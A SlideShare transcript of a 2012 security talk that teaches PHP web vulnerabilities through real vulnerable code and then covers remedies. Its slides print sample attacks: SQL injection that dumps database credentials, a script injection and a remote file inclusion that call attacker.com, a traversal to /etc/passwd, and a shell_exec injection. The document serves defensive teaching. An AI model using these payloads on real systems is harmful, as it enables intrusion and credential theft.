SlideShare a Scribd company logo
Spot the Web
Vulnerability
Miroslav Štampar
 (dev@sqlmap.org)
Talk overview
 Introduction to commonly exploited web
  application vulnerability classes (covering only
  those caused by coding mistake(s))
 Usage of code review on real-life vulnerabilities
  as an educational tool
 Mitigation in form of remedies
 Note: While given examples will discuss PHP
  coding (due to its overwhelming popularity on
  the Web), the concepts also apply to any other
  web programming language


                                   October 13th, 2012   2
Vulnerability statistics (1)




                          October 13th, 2012   3
Vulnerability statistics (2)
                          Name                              Visits   Platform     Date
vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability   31961      php      2010-08-29
WordPress <= 3.3.1 Multiple Vulnerabilities                 25960      php      2012-01-25
WordPress 3.1.3 SQL Injection Vulnerabilities               25168      php      2011-07-01
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection
                                                            24166      php      2011-07-21
Vulnerability 0-day

vBulletin(R) 3.8.6 faq.php Information Disclosure
                                                            22850      php      2010-07-24
Vulnerability

vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection
                                                            19074      php      2011-05-23
Vulnerability
Bypass the JQuery-Real-Person captcha plugin 0-day          17089      php      2011-11-28
FCKeditor all version Arbitrary File Upload Vulnerability   16211      php      2011-08-09
Joomla 1.5 URL Redirecting Vulnerability                    16061      php      2010-08-24
WordPress TimThumb Plugin - Remote Code Execution           15991      php      2011-08-03



                                                                 October 13th, 2012      4
SQL injection (1)
 Vulnerability on dynamic database queries that
  include unfiltered user supplied input
 Usually result of concatenation of raw
  parameter values to a desired SQL statement
 Various techniques used depending on target's
  environment and affected vulnerable query
 The goal is unauthorized access to the
  underlying database
 Involved in 60% of all breach incidents
  examined by 7Safe in 2010


                                 October 13th, 2012   5
SQL injection (2)
 Example of vulnerable code (vuln.php):
 <?php
 ...
 $sql = "SELECT * FROM forum_logs WHERE id = " .
 $_GET["id"];
 $result = mysql_query($sql);
 ...
 ?>
 Sample attack:
 http://www.target.com/vuln.php?id=1 UNION ALL SELECT
 NULL,CONCAT(user,0x3a,password),NULL FROM
 mysql.user--

                                    October 13th, 2012   6
Cross-site scripting (1)
 Enables attackers to inject client-side script
  into web pages viewed by other users
 Everything from account hijacking, changing of
  user settings, cookie theft/poisoning, or false
  advertising is possible
 Persistent (stored) and non-persistent
  (reflected) variants
 Samy (JS.Spacehero), first known XSS worm,
  infected over 1 million MySpace profiles in less
  than 20 hours


                                   October 13th, 2012   7
Cross-site scripting (2)
 Example of vulnerable code (vuln.php):
 <?php
 $name = $_GET['name'];
 echo "Welcome $name<br>";
 echo "<a href="http://www.site.com/">Click to
 Visit</a>";
 ?>
 Sample attack:
 http://www.target.com/vuln.php?
 name=<script>window.onload = function() {var
 link=document.getElementsByTagName("a");link[0].href
 ="http://www.attacker.com/";}</script>


                                    October 13th, 2012   8
File inclusion (1)
 Allows inclusion of arbitrary code into
  vulnerable application for further execution
 Local file (LFI) and remote file (RFI) variants
 Attacker's fondest wish (especially RFI)
 Access anything that the original program
  context is able to (configuration files, password
  files, etc.)
 Involved in 21% of all web application attacks
  observed by Imperva in 2011



                                   October 13th, 2012   9
File inclusion (2)
 Example of vulnerable code (vuln.php):
 <?php
      $page = 'index';
      if (isset($_REQUEST['page']))
         $page = $_REQUEST['page'];
      include($page . '.php');
 ?>
 Sample attack:
 http://www.target.com/vuln.php?
 page=http://www.attacker.com/shell.php?foo=




                                      October 13th, 2012   10
File disclosure (1)
 Access files that are not intended to be
  accessible and expose their content to the
  attackers
 Directory traversal variant in cases when
  characters for traverse to the parent directory
  (e.g. ../) are passed through to the file API(s)
 Local file inclusion becomes a variant too if
  used for obtaining a non-script content
 Easiest for exploitation



                                   October 13th, 2012   11
File disclosure (2)
 Example of vulnerable code (vuln.php):
 <?php
 $template = 'default.php';
 if (isset($_COOKIE['template']))
      $template = $_COOKIE['template'];
 readfile("templates/" . $template);
 ?>
 Sample attack:
 GET /vuln.php HTTP/1.0
 Cookie: template=
 ../../../../../../../../../etc/passwd


                                       October 13th, 2012   12
Remote code execution (1)
 Provides a way to execute arbitrary code
 In one variant provided code is being executed
  inside the vulnerable web application (e.g.
  eval)
 In other, more common, content of one of
  request parameters is being written to the
  browser reachable file, giving attacker
  opportunity to run it as a standalone script
 TimThumb WordPress PHP plugin vulnerability
  (CVE: 2011-4106) affected 1.2 million websites


                                 October 13th, 2012   13
Remote code execution (2)
 Example of vulnerable code (vuln.php):
 <?php
 $fp = fopen("prefs/timezone.php", "w");
 fwrite($fp, "<?phprn$timezone=" .
 $_REQUEST['tz'] . ";rn?>");
 fclose($fp);
 ?>
 Sample attack:
 http://www.target.com/vuln.php?
 tz=us;shell_exec($_GET['cmd'])
 http://www.target.com/prefs/timezone.php?cmd=cat
 /etc/passwd

                                       October 13th, 2012   14
Spot SQL injection (1)




                                                         (EDB-ID: 18820, CVE: 2012-1002,
 if (isset($_POST['authornum']) &&
 ctype_digit($_POST['authornum'])) {




                                                                                           OpenConf <= 4.11
                                                                OSVDB-ID: 78996)
     $oc_authorNum = $_POST['authornum'];
 } else {
     $anr = ocsql_query("SELECT * FROM `" .
 OCC_TABLE_PAPER . "` WHERE `paperid`=" .
 safeSQLstr($_POST['pid'])) or err("Unable to
 retrieve submission information");
     if (mysql_num_rows($anr) != 1) {
         err(oc_('Submission ID or password entered
 is incorrect'));
 }




                                        October 13th, 2012                     15
Spot SQL injection (2)




                                                                (EDB-ID: 19264, OSVDB-ID: 83231)
 if(empty($cookies['language'])){
     setcookie('MyTickets_language',




                                                                                                   MyTickets <= v2.0.8
 $setting['default_language'],time()+86400,"/");
     $language = $setting['default_language'];
 } else {
     if($db->count('languages',"`id`='".
 $cookies['language']."'") == 0){
         $language = $setting['default_language'];
     }
     $language = $cookies['language'];
 }
 $language_array = $db->fetch($db->query("SELECT * FROM
 `languages` WHERE `id`='".$language."'"));



                                           October 13th, 2012                 16
WP-Predict Plugin for WordPress <= v1.0
Spot SQL injection (3)
 foreach ($postPredicts as $postPredict){




                                                               (EDB-ID: 19715, OSVDB-ID: 83697)
     ...
     if ($_POST['postAction'] == "submitVote" &&
 intval($_POST['predictId']) == $postPredict-
 >predictId)
     {
           $submitPredictId = $_POST['predictId'];
           $selectedOption = $_POST['predictSelection'];
           ...
         $dbResult = @$wpdb->query("INSERT INTO " .
 $wpdb->prefix . "wpp_predict_votes (predictEntryId,
 predictUserId, predictSelectedOption) VALUES (" .
 $submitPredictId . ", " . $user_ID . ", " .
 $selectedOption . ")");
           ...
     }
                                          October 13th, 2012                 17
Spot SQL injection (4)




                                                             (EDB-ID: 18516, OSVDB-ID: 79497)
 $start['year'] = isset($_GET['sy']) ?




                                                                                                phpDenora <= v1.4.6
 htmlspecialchars($_GET['sy']) : date('Y');
 $start['month'] = isset($_GET['sm']) ?
 htmlspecialchars($_GET['sm']) : date('m');
 $start['day'] = isset($_GET['sd']) ?
 htmlspecialchars($_GET['sd']) : date('d');
 ...
 $sidq = sql_query("SELECT `id` FROM $table WHERE year
 = '".$start['year']."' AND month = '".
 $start['month']."' AND day = '".$start['day']."'");




                                        October 13th, 2012                 18
AdRotate Plugin for WordPress <= v3.6.6
Spot SQL injection (5)




                                                         (EDB-ID: 18114, CVE: 2011-4671,
 if(isset($_GET['track']) OR $_GET['track'] != '') {




                                                                OSVDB-ID: 77507)
     $meta = base64_decode($_GET['track']);
     ...
     list($ad, $group, $block) = explode("-", $meta);
     ...
     $bannerurl = $wpdb->get_var($wpdb-
 >prepare("SELECT `link` FROM `".$prefix."adrotate`
 WHERE `id` = '".$ad."' LIMIT 1;"));
     ...
 }




                                        October 13th, 2012                     19
WP Bannerize Plugin for WordPress <= v2.8.7
Spot SQL injection (6)




                                                               (EDB-ID: 17906, OSVDB-ID: 76658)
 if (@isset($_SERVER['HTTP_X_REQUESTED_WITH'])) {
     ...
     $limit = intval($_POST['limit']);
     $page_offset = (intval($_POST['offset']) - 1) *
 $limit;


     foreach($_POST["item"] as $key => $value){
         $sql = sprintf("UPDATE `%s` SET `sorter` = %s
 WHERE id = %s", $wpdb->prefix ."bannerize_b",
 (intval($key)+$page_offset), $value);
           $result = mysql_query($sql);
     }
 }


                                          October 13th, 2012                 20
Spot cross-site scripting (1)




                                                                (EDB-ID: 11017, OSVDB-ID: 61594)
                                                                                                   PHPDug <= v2.0.0
 $page = new HtmlTemplate("templates/" .
 $config['tpl_name'] . "/index.html");
 ...
 $page->SetParameter('UPCOMING_LINK',
 $config['site_url'].'upcoming.php?id='.$_GET['id']);
 $page->SetParameter('POPULAR_LINK',
 $config['site_url'].'index.php');
 ...
 $page->CreatePageEcho($lang,$config);




                                           October 13th, 2012                 21
Spot cross-site scripting (2)
 function _wp_comment_row($comment_id, $mode,




                                                         (EDB-ID: 9250, CVE: 2009-2851,
 $comment_status, $checkbox = true, $from_ajax =




                                                                                          WordPress <= v2.8.1
 false) {




                                                               OSVDB-ID: 56193)
     $comment = get_comment($comment_id);
     ...
     $author_url = get_comment_author_url();
     ...
     $author_url_display = $author_url;
     ...
     echo "<a title='$author_url' href=
 '$author_url'>$author_url_display</a><br/>";
 ...
 }
 ...
 foreach ($comments as $comment)
     _wp_comment_row($comment->comment_ID, $mode,
 $comment_status);


                                        October 13th, 2012                    22
Spot cross-site scripting (3)




                                                                               damianov.net Shoutbox <= v1.0
 $handle = fopen($shoutsFile,"a");
 $toWrite="n".stripslashes($_POST["txtNick"]) . "|" .
 $_POST["txtEmail"] . "|" .
 stripslashes($_POST["txtShout"]);




                                                             (EDB-ID: 12593)
 fwrite($handle, $toWrite);
 fclose($handle);
 ...
 $lines = array_reverse(file($shoutsFile));
 foreach ($lines as $line_num => $line) {
     $info = explode("|", $line, 3);
     if ((is_email($info[1])) && $displayEmails)
         $info[0] = "<a href='mailto:" . $info[1] .
 "'>" . $info[0] . "</a>";
     echo "<div style='$fontStyle'><b>$info[0]</b> : "
 . ($allowHTML ? $info[2] : strip_tags($info[2])) .
 "</div>n"; // CVE-2004-0595 (strip_tags() bypass)
 }


                                        October 13th, 2012         23
Spot file inclusion (1)




                                                              (EDB-ID: 15166, OSVDB-ID: 68300)
                                                                                                 Zen Cart <= v1.3.9f
 $typefilter = 'default';
 if (isset($_GET['typefilter']))
    $typefilter = $_GET['typefilter'];
 require(DIR_WS_INCLUDES .
 zen_get_index_filters_directory($typefilter .
 '_filter.php'));




                                         October 13th, 2012                 24
Spot file inclusion (2)




                                                             (EDB-ID: 19550, OSVDB-ID: 83700)
 if (isset($_POST['lang']) && preg_replace("#.*/#","",




                                                                                                phpMyBackupPro <= v2.2
 $_SERVER['PHP_SELF'])=="config.php"
        $CONF['lang']=$_POST['lang'];
 if (!isset($CONF['lang']))
        $CONF['lang']="english";
 if (!file_exists($prepath.PMBP_LANGUAGE_DIR.
 $CONF['lang'].".inc.php"))
     include_once($prepath.PMBP_LANGUAGE_DIR .
 "english.inc.php");
 else
     include($prepath.PMBP_LANGUAGE_DIR .
 $CONF['lang'].".inc.php");




                                        October 13th, 2012                 25
Relocate Upload Plugin for WordPress <=
Spot file inclusion (3)




                                                         (EDB-ID: 17869, CVE: 2012-1205,
                                                                OSVDB-ID: 79250)
 if (isset($_GET['ru_folder']))
 {




                                                                                                            v0.14
         define('WP_USE_THEMES', false);
         require_once(urldecode($_GET['abspath']) .
 '/wp-load.php');
         ...
 }




                                           October 13th, 2012                                 26
Spot file disclosure (1)




                                                                               ISPworker <= v1.23
                                                             (EDB-ID: 10262)
 header('Content-type: ' . $_REQUEST[type]);
 header('Content-Disposition: attachment;
 filename="' . $_REQUEST[filename] . '"');
 readfile("./tmp/$ticketid" . "_" .
 $_REQUEST[filename]);




                                        October 13th, 2012         27
PICA Photo Gallery Plugin for WordPress <=
Spot file disclosure (2)




                                                         (EDB-ID: 19016, OSVDB-ID: 82702)
 $timg = $imgname = $_REQUEST['imgname'];
 $pluginName = 'pica-photo-gallery';
 $file = dirname(dirname(dirname(__FILE__))) .
 "/uploads/" . $pluginName . "/" . $timg;
 header('Content-Description: File Transfer');




                                                                                                               v1.0
 header('Content-Type: application/octet-stream');
 ...
 header('Content-Length: ' . filesize($file));
 ob_clean();
 flush();
 readfile($file);




                                        October 13th, 2012                                     28
Spot remote code execution (1)




                                                           (EDB-ID: 18775, CVE: 2012-1495,
 $file = '../includes/settings.php';
 ...




                                                                                             WebCalendar <= v1.2.4
 $settings['single_user_login'] = getPostValue




                                                                  OSVDB-ID: 81329)
 ('form_single_user_login');
 ...
 $fd = @fopen ($file, 'w+b', false);
 ...
 fwrite ($fd, "<?phprn");
 fwrite ($fd, '/* updated via install/index.php on ' .
 date ('r') . "rn");
 foreach ($settings as $k => $v) {
       if ($v != '<br />' && $v != '')
       fwrite ($fd, $k . ': ' . $v . "rn");
 }

                                          October 13th, 2012                     29
Spot remote code execution (2)




                                                                                              Ajax File and Image Manager <= v1.0
                                                            (EDB-ID: 18075, CVE: 2011-4825,
 @ob_start();
 displayArray($_POST);
 writeInfo(@ob_get_clean());




                                                                   OSVDB-ID: 76928)
 ...
 function writeInfo($data, $die = false)
 {
     $fp = @fopen(dirname(__FILE__) .
 DIRECTORY_SEPARATOR . 'data.php', 'w+');
       @fwrite($fp, $data);
       @fwrite($fp, "nn" . date('d/M/Y H:i:s'));
       @fclose($fp);
       ...
 }


                                           October 13th, 2012                     30
Remedies (1)
 Data validation
  Process of ensuring that application is running
   with correct data
  Discard if it doesn’t pass the validation process

  if (!preg_match('/^(?d{3})?[-s.]?d{3}[-s.]d{4}$/',
  $phone)) {
      echo "Your phone number is invalid";
      die();
  }




                                         October 13th, 2012   31
Remedies (2)
 Data sanitization
  Removing any unwanted bits from the data and
   normalizing it to the correct form

  $comment = strip_tags($_POST['comment']);
  ...
  $id = intval($_GET['id']);
  ...
  $username = preg_replace('/[^a-zA-Z0-9._]/', '',
  $_REQUEST['username']);
  ...
  $query = sprintf("SELECT * FROM users WHERE user='%s' AND
  password='%s'", mysql_real_escape_string($user),
  mysql_real_escape_string($password));


                                         October 13th, 2012   32
Remedies (3)
 Output escaping
  Protecting integrity of displayed data
  Prevents browser from applying any unintended
   meaning to any special sequence of characters
   that may be found
  Always escape output provided by users!

 echo "You searched for: " .
 htmlspecialchars($_GET["query"], ENT_QUOTES);




                                        October 13th, 2012   33
Remedies (4)
 Safe communication with a database
  Prepared statements use one channel for
   commands and another one for data (which
   never allows commands)

 $db = new PDO('dblib:host=localhost; dbname=testdb;
 charset=UTF-8', $user, $pass);
 $query = 'SELECT * FROM users WHERE id = :id';
 $stmt = $db->prepare($query);
 $stmt->bindValue(':id', $_REQUEST['id']);
 $stmt->execute();
 while($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
 ...

                                        October 13th, 2012   34
Questions?




             October 13th, 2012   35

More Related Content

PDF
2014 – Year of Broken Name Generator(s)
PDF
It all starts with the ' (SQL injection from attacker's point of view)
PDF
Analysis of mass SQL injection attacks
PDF
Hash DoS Attack
PDF
sqlmap - security development in Python
PDF
Data Retrieval over DNS in SQL Injection Attacks
PDF
Advanced SQL injection to operating system full control (slides)
PDF
Got database access? Own the network!
2014 – Year of Broken Name Generator(s)
It all starts with the ' (SQL injection from attacker's point of view)
Analysis of mass SQL injection attacks
Hash DoS Attack
sqlmap - security development in Python
Data Retrieval over DNS in SQL Injection Attacks
Advanced SQL injection to operating system full control (slides)
Got database access? Own the network!

What's hot (20)

PPTX
PDF
DNS exfiltration using sqlmap
PDF
Sql injection with sqlmap
PDF
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
PDF
Not so blind SQL Injection
PPTX
TO Hack an ASP .NET website?
PDF
Apache Beam de A à Z
PPTX
Java file
PDF
SQL injection: Not Only AND 1=1 (updated)
PPTX
Hacking Oracle From Web Apps 1 9
PDF
SSRF workshop
PPT
Java Input Output and File Handling
PDF
I/O in java Part 1
PDF
Sql Injection 0wning Enterprise
PPT
Java File I/O
PDF
Strategies to design FUD malware
PDF
Windows persistence presentation
PDF
Expanding the control over the operating system from the database
PPT
7 streams and error handling in java
PDF
SQL injection exploitation internals
DNS exfiltration using sqlmap
Sql injection with sqlmap
Enable Database Service over HTTP or IBM WebSphere MQ in 15_minutes with IAS
Not so blind SQL Injection
TO Hack an ASP .NET website?
Apache Beam de A à Z
Java file
SQL injection: Not Only AND 1=1 (updated)
Hacking Oracle From Web Apps 1 9
SSRF workshop
Java Input Output and File Handling
I/O in java Part 1
Sql Injection 0wning Enterprise
Java File I/O
Strategies to design FUD malware
Windows persistence presentation
Expanding the control over the operating system from the database
7 streams and error handling in java
SQL injection exploitation internals
Ad

Viewers also liked (17)

PDF
Smashing the Buffer
PDF
Riding the Overflow - Then and Now
PDF
Curious Case of SQLi
PPT
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
PDF
sqlmap - Under the Hood
PDF
Heuristic methods used in sqlmap
PDF
sqlmap - why (not how) it works?
PDF
Alan kakareka. insight into russian black market
PDF
Webapplicationsecurity05 2010 100601100553 Phpapp02
PDF
The Market for Cyber Weapons - NATO Cooperative Cyber Defence Centre of Exce...
PDF
0Day Hunting A.K.A. The Story of a Proper CPE Test by Balazs Bacsay
PDF
Riding the Overflow - Then and Now
PDF
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
PPTX
Vulnerability Intelligence and Assessment with vulners.com
DOCX
External XML Entities
PPTX
Advanced Persistent Threats (APTs) - Information Security Management
PPT
Methods to Bypass a Web Application Firewall Eng
Smashing the Buffer
Riding the Overflow - Then and Now
Curious Case of SQLi
Проект змін до ЗУ «Про сприяння соціальному становленню та розвитку молоді в ...
sqlmap - Under the Hood
Heuristic methods used in sqlmap
sqlmap - why (not how) it works?
Alan kakareka. insight into russian black market
Webapplicationsecurity05 2010 100601100553 Phpapp02
The Market for Cyber Weapons - NATO Cooperative Cyber Defence Centre of Exce...
0Day Hunting A.K.A. The Story of a Proper CPE Test by Balazs Bacsay
Riding the Overflow - Then and Now
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Vulnerability Intelligence and Assessment with vulners.com
External XML Entities
Advanced Persistent Threats (APTs) - Information Security Management
Methods to Bypass a Web Application Firewall Eng
Ad

Similar to Spot the Web Vulnerability (20)

PDF
Security 202 - Are you sure your site is secure?
PDF
Evolution Of Web Security
PDF
Intro to Php Security
PDF
Php Security
PPT
Php Security By Mugdha And Anish
PDF
WordCamp Milwaukee 2012 - Aaron Saray - Secure Wordpress Coding
PDF
null Bangalore meet - Php Security
PDF
Remote File Inclusion (RFI) Vulnerabilities 101
PPTX
Application and Website Security -- Fundamental Edition
PDF
PHP Secure Programming
PPTX
CodeIgniter i18n Security Flaw
PDF
Dip Your Toes in the Sea of Security (PHP UK 2016)
PPTX
Ethical hacking Chapter 10 - Exploiting Web Servers - Eric Vanderburg
PDF
Secure PHP Coding
PPTX
Secure programming with php
PPTX
Hacking Wordpress Plugins
PDF
Hacking sites for fun and profit
ODP
Security In PHP Applications
PDF
17726 bypassing-phpids-0.6.5
PDF
Minor Mistakes In Web Portals
Security 202 - Are you sure your site is secure?
Evolution Of Web Security
Intro to Php Security
Php Security
Php Security By Mugdha And Anish
WordCamp Milwaukee 2012 - Aaron Saray - Secure Wordpress Coding
null Bangalore meet - Php Security
Remote File Inclusion (RFI) Vulnerabilities 101
Application and Website Security -- Fundamental Edition
PHP Secure Programming
CodeIgniter i18n Security Flaw
Dip Your Toes in the Sea of Security (PHP UK 2016)
Ethical hacking Chapter 10 - Exploiting Web Servers - Eric Vanderburg
Secure PHP Coding
Secure programming with php
Hacking Wordpress Plugins
Hacking sites for fun and profit
Security In PHP Applications
17726 bypassing-phpids-0.6.5
Minor Mistakes In Web Portals

More from Miroslav Stampar (9)

PDF
sqlmap - "One Tiny Step At a Time"
PDF
Blind WAF identification
PDF
sqlmap internals
PDF
Why everybody should do CTF / Wargames?
PDF
sqlmap internals
PDF
Improving Network Intrusion Detection with Traffic Denoise
PDF
APT Attacks on Critical Infrastructure
PDF
WARNING: Do Not Feed the Bears
PDF
Non-Esoteric XSS Tips & Tricks
sqlmap - "One Tiny Step At a Time"
Blind WAF identification
sqlmap internals
Why everybody should do CTF / Wargames?
sqlmap internals
Improving Network Intrusion Detection with Traffic Denoise
APT Attacks on Critical Infrastructure
WARNING: Do Not Feed the Bears
Non-Esoteric XSS Tips & Tricks

Recently uploaded (20)

PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
KodekX | Application Modernization Development
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Spectral efficient network and resource selection model in 5G networks
PDF
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
PDF
Building Integrated photovoltaic BIPV_UPV.pdf
PDF
NewMind AI Weekly Chronicles - August'25 Week I
PDF
Mobile App Security Testing_ A Comprehensive Guide.pdf
PDF
Dropbox Q2 2025 Financial Results & Investor Presentation
PPTX
Understanding_Digital_Forensics_Presentation.pptx
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PDF
Per capita expenditure prediction using model stacking based on satellite ima...
PDF
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
PDF
Empathic Computing: Creating Shared Understanding
PPTX
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
PDF
Electronic commerce courselecture one. Pdf
PDF
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
Digital-Transformation-Roadmap-for-Companies.pptx
KodekX | Application Modernization Development
Network Security Unit 5.pdf for BCA BBA.
Spectral efficient network and resource selection model in 5G networks
Peak of Data & AI Encore- AI for Metadata and Smarter Workflows
Building Integrated photovoltaic BIPV_UPV.pdf
NewMind AI Weekly Chronicles - August'25 Week I
Mobile App Security Testing_ A Comprehensive Guide.pdf
Dropbox Q2 2025 Financial Results & Investor Presentation
Understanding_Digital_Forensics_Presentation.pptx
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
Per capita expenditure prediction using model stacking based on satellite ima...
TokAI - TikTok AI Agent : The First AI Application That Analyzes 10,000+ Vira...
Empathic Computing: Creating Shared Understanding
KOM of Painting work and Equipment Insulation REV00 update 25-dec.pptx
Electronic commerce courselecture one. Pdf
7 ChatGPT Prompts to Help You Define Your Ideal Customer Profile.pdf
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Advanced methodologies resolving dimensionality complications for autism neur...

Spot the Web Vulnerability

  • 1. Spot the Web Vulnerability Miroslav Štampar (dev@sqlmap.org)
  • 2. Talk overview  Introduction to commonly exploited web application vulnerability classes (covering only those caused by coding mistake(s))  Usage of code review on real-life vulnerabilities as an educational tool  Mitigation in form of remedies  Note: While given examples will discuss PHP coding (due to its overwhelming popularity on the Web), the concepts also apply to any other web programming language October 13th, 2012 2
  • 3. Vulnerability statistics (1) October 13th, 2012 3
  • 4. Vulnerability statistics (2) Name Visits Platform Date vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability 31961 php 2010-08-29 WordPress <= 3.3.1 Multiple Vulnerabilities 25960 php 2012-01-25 WordPress 3.1.3 SQL Injection Vulnerabilities 25168 php 2011-07-01 Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection 24166 php 2011-07-21 Vulnerability 0-day vBulletin(R) 3.8.6 faq.php Information Disclosure 22850 php 2010-07-24 Vulnerability vBulletin 4.0.x => 4.1.2 (search.php) SQL Injection 19074 php 2011-05-23 Vulnerability Bypass the JQuery-Real-Person captcha plugin 0-day 17089 php 2011-11-28 FCKeditor all version Arbitrary File Upload Vulnerability 16211 php 2011-08-09 Joomla 1.5 URL Redirecting Vulnerability 16061 php 2010-08-24 WordPress TimThumb Plugin - Remote Code Execution 15991 php 2011-08-03 October 13th, 2012 4
  • 5. SQL injection (1)  Vulnerability on dynamic database queries that include unfiltered user supplied input  Usually result of concatenation of raw parameter values to a desired SQL statement  Various techniques used depending on target's environment and affected vulnerable query  The goal is unauthorized access to the underlying database  Involved in 60% of all breach incidents examined by 7Safe in 2010 October 13th, 2012 5
  • 6. SQL injection (2)  Example of vulnerable code (vuln.php): <?php ... $sql = "SELECT * FROM forum_logs WHERE id = " . $_GET["id"]; $result = mysql_query($sql); ... ?>  Sample attack: http://www.target.com/vuln.php?id=1 UNION ALL SELECT NULL,CONCAT(user,0x3a,password),NULL FROM mysql.user-- October 13th, 2012 6
  • 7. Cross-site scripting (1)  Enables attackers to inject client-side script into web pages viewed by other users  Everything from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible  Persistent (stored) and non-persistent (reflected) variants  Samy (JS.Spacehero), first known XSS worm, infected over 1 million MySpace profiles in less than 20 hours October 13th, 2012 7
  • 8. Cross-site scripting (2)  Example of vulnerable code (vuln.php): <?php $name = $_GET['name']; echo "Welcome $name<br>"; echo "<a href="http://www.site.com/">Click to Visit</a>"; ?>  Sample attack: http://www.target.com/vuln.php? name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href ="http://www.attacker.com/";}</script> October 13th, 2012 8
  • 9. File inclusion (1)  Allows inclusion of arbitrary code into vulnerable application for further execution  Local file (LFI) and remote file (RFI) variants  Attacker's fondest wish (especially RFI)  Access anything that the original program context is able to (configuration files, password files, etc.)  Involved in 21% of all web application attacks observed by Imperva in 2011 October 13th, 2012 9
  • 10. File inclusion (2)  Example of vulnerable code (vuln.php): <?php $page = 'index'; if (isset($_REQUEST['page'])) $page = $_REQUEST['page']; include($page . '.php'); ?>  Sample attack: http://www.target.com/vuln.php? page=http://www.attacker.com/shell.php?foo= October 13th, 2012 10
  • 11. File disclosure (1)  Access files that are not intended to be accessible and expose their content to the attackers  Directory traversal variant in cases when characters for traverse to the parent directory (e.g. ../) are passed through to the file API(s)  Local file inclusion becomes a variant too if used for obtaining a non-script content  Easiest for exploitation October 13th, 2012 11
  • 12. File disclosure (2)  Example of vulnerable code (vuln.php): <?php $template = 'default.php'; if (isset($_COOKIE['template'])) $template = $_COOKIE['template']; readfile("templates/" . $template); ?>  Sample attack: GET /vuln.php HTTP/1.0 Cookie: template= ../../../../../../../../../etc/passwd October 13th, 2012 12
  • 13. Remote code execution (1)  Provides a way to execute arbitrary code  In one variant provided code is being executed inside the vulnerable web application (e.g. eval)  In other, more common, content of one of request parameters is being written to the browser reachable file, giving attacker opportunity to run it as a standalone script  TimThumb WordPress PHP plugin vulnerability (CVE: 2011-4106) affected 1.2 million websites October 13th, 2012 13
  • 14. Remote code execution (2)  Example of vulnerable code (vuln.php): <?php $fp = fopen("prefs/timezone.php", "w"); fwrite($fp, "<?phprn$timezone=" . $_REQUEST['tz'] . ";rn?>"); fclose($fp); ?>  Sample attack: http://www.target.com/vuln.php? tz=us;shell_exec($_GET['cmd']) http://www.target.com/prefs/timezone.php?cmd=cat /etc/passwd October 13th, 2012 14
  • 15. Spot SQL injection (1) (EDB-ID: 18820, CVE: 2012-1002, if (isset($_POST['authornum']) && ctype_digit($_POST['authornum'])) { OpenConf <= 4.11 OSVDB-ID: 78996) $oc_authorNum = $_POST['authornum']; } else { $anr = ocsql_query("SELECT * FROM `" . OCC_TABLE_PAPER . "` WHERE `paperid`=" . safeSQLstr($_POST['pid'])) or err("Unable to retrieve submission information"); if (mysql_num_rows($anr) != 1) { err(oc_('Submission ID or password entered is incorrect')); } October 13th, 2012 15
  • 16. Spot SQL injection (2) (EDB-ID: 19264, OSVDB-ID: 83231) if(empty($cookies['language'])){ setcookie('MyTickets_language', MyTickets <= v2.0.8 $setting['default_language'],time()+86400,"/"); $language = $setting['default_language']; } else { if($db->count('languages',"`id`='". $cookies['language']."'") == 0){ $language = $setting['default_language']; } $language = $cookies['language']; } $language_array = $db->fetch($db->query("SELECT * FROM `languages` WHERE `id`='".$language."'")); October 13th, 2012 16
  • 17. WP-Predict Plugin for WordPress <= v1.0 Spot SQL injection (3) foreach ($postPredicts as $postPredict){ (EDB-ID: 19715, OSVDB-ID: 83697) ... if ($_POST['postAction'] == "submitVote" && intval($_POST['predictId']) == $postPredict- >predictId) { $submitPredictId = $_POST['predictId']; $selectedOption = $_POST['predictSelection']; ... $dbResult = @$wpdb->query("INSERT INTO " . $wpdb->prefix . "wpp_predict_votes (predictEntryId, predictUserId, predictSelectedOption) VALUES (" . $submitPredictId . ", " . $user_ID . ", " . $selectedOption . ")"); ... } October 13th, 2012 17
  • 18. Spot SQL injection (4) (EDB-ID: 18516, OSVDB-ID: 79497) $start['year'] = isset($_GET['sy']) ? phpDenora <= v1.4.6 htmlspecialchars($_GET['sy']) : date('Y'); $start['month'] = isset($_GET['sm']) ? htmlspecialchars($_GET['sm']) : date('m'); $start['day'] = isset($_GET['sd']) ? htmlspecialchars($_GET['sd']) : date('d'); ... $sidq = sql_query("SELECT `id` FROM $table WHERE year = '".$start['year']."' AND month = '". $start['month']."' AND day = '".$start['day']."'"); October 13th, 2012 18
